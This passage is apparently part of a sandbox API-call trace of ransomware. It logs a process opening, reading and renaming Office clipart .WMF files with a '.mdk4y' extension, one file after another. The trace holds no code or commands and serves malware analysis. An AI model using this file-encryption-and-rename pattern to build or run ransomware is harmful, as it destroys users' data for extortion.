lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00526_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.229] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820646000000) returned 1 [0131.230] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ba0, lpOverlapped=0x0) returned 1 [0131.325] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820655500000) returned 1 [0131.325] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820655500000) returned 1 [0131.326] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.mdk4y")) returned 1 [0131.326] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.326] AreFileApisANSI () returned 1 [0131.326] GetACP () returned 0x4e4 [0131.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00648_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00648_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.326] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820655700000) returned 1 [0131.327] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2cec, lpOverlapped=0x0) returned 1 [0131.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820655800000) returned 1 [0131.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820655800000) returned 1 [0131.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.mdk4y")) returned 1 [0131.329] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.329] AreFileApisANSI () returned 1 [0131.329] GetACP () returned 0x4e4 [0131.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00921_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00921_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.329] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820655900000) returned 1 [0131.330] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1138, lpOverlapped=0x0) returned 1 [0131.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820659600000) returned 1 [0131.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820659600000) returned 1 [0131.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.mdk4y")) returned 1 [0131.367] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.367] AreFileApisANSI () returned 1 [0131.367] GetACP () returned 0x4e4 [0131.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00923_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00923_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.367] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820659700000) returned 1 [0131.367] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1870, lpOverlapped=0x0) returned 1 [0131.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820661300000) returned 1 [0131.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820661300000) returned 1 [0131.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.mdk4y")) returned 1 [0131.387] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.387] AreFileApisANSI () returned 1 [0131.387] GetACP () returned 0x4e4 [0131.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00932_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00932_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.387] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820661700000) returned 1 [0131.387] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c14, lpOverlapped=0x0) returned 1 [0131.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820661800000) returned 1 [0131.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820661800000) returned 1 [0131.389] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.mdk4y")) returned 1 [0131.389] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.389] AreFileApisANSI () returned 1 [0131.389] GetACP () returned 0x4e4 [0131.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00985_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00985_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.389] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820661900000) returned 1 [0131.390] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeb8, lpOverlapped=0x0) returned 1 [0131.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820662100000) returned 1 [0131.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820662100000) returned 1 [0131.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.mdk4y")) returned 1 [0131.391] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.392] AreFileApisANSI () returned 1 [0131.392] GetACP () returned 0x4e4 [0131.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOAT.WMF", cchWideChar=8, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BOAT.WMF.WMF", lpUsedDefaultChar=0x37df4c) returned 8 [0131.392] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820662200000) returned 1 [0131.392] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd16, lpOverlapped=0x0) returned 1 [0131.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820662300000) returned 1 [0131.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820662300000) returned 1 [0131.394] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.mdk4y")) returned 1 [0131.394] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.394] AreFileApisANSI () returned 1 [0131.394] GetACP () returned 0x4e4 [0131.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOATINST.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BOATINST.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.394] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820662500000) returned 1 [0131.395] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x714c, lpOverlapped=0x0) returned 1 [0131.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820666500000) returned 1 [0131.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820666500000) returned 1 [0131.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.mdk4y")) returned 1 [0131.436] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.436] AreFileApisANSI () returned 1 [0131.436] GetACP () returned 0x4e4 [0131.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00076_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00076_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.436] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820666700000) returned 1 [0131.437] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x532, lpOverlapped=0x0) returned 1 [0131.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820671400000) returned 1 [0131.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820671400000) returned 1 [0131.485] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.mdk4y")) returned 1 [0131.485] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.485] AreFileApisANSI () returned 1 [0131.485] GetACP () returned 0x4e4 [0131.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00078_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00078_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.485] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820671600000) returned 1 [0131.486] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5a4, lpOverlapped=0x0) returned 1 [0131.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820677700000) returned 1 [0131.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820677700000) returned 1 [0131.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.mdk4y")) returned 1 [0131.548] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.548] AreFileApisANSI () returned 1 [0131.548] GetACP () returned 0x4e4 [0131.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00092_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00092_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.549] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820677900000) returned 1 [0131.549] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f26, lpOverlapped=0x0) returned 1 [0131.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820678000000) returned 1 [0131.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820678000000) returned 1 [0131.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.mdk4y")) returned 1 [0131.551] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.551] AreFileApisANSI () returned 1 [0131.551] GetACP () returned 0x4e4 [0131.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00100_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00100_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820678200000) returned 1 [0131.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x94a, lpOverlapped=0x0) returned 1 [0131.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820681200000) returned 1 [0131.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820681200000) returned 1 [0131.582] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.mdk4y")) returned 1 [0131.583] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.583] AreFileApisANSI () returned 1 [0131.583] GetACP () returned 0x4e4 [0131.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00135_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00135_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.583] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820681300000) returned 1 [0131.583] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x414, lpOverlapped=0x0) returned 1 [0131.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820682800000) returned 1 [0131.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820682800000) returned 1 [0131.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.mdk4y")) returned 1 [0131.599] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.599] AreFileApisANSI () returned 1 [0131.599] GetACP () returned 0x4e4 [0131.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00136_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00136_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.599] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820682900000) returned 1 [0131.599] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x876, lpOverlapped=0x0) returned 1 [0131.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820688600000) returned 1 [0131.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820688600000) returned 1 [0131.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.mdk4y")) returned 1 [0131.657] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.657] AreFileApisANSI () returned 1 [0131.657] GetACP () returned 0x4e4 [0131.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00145_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00145_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.657] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), 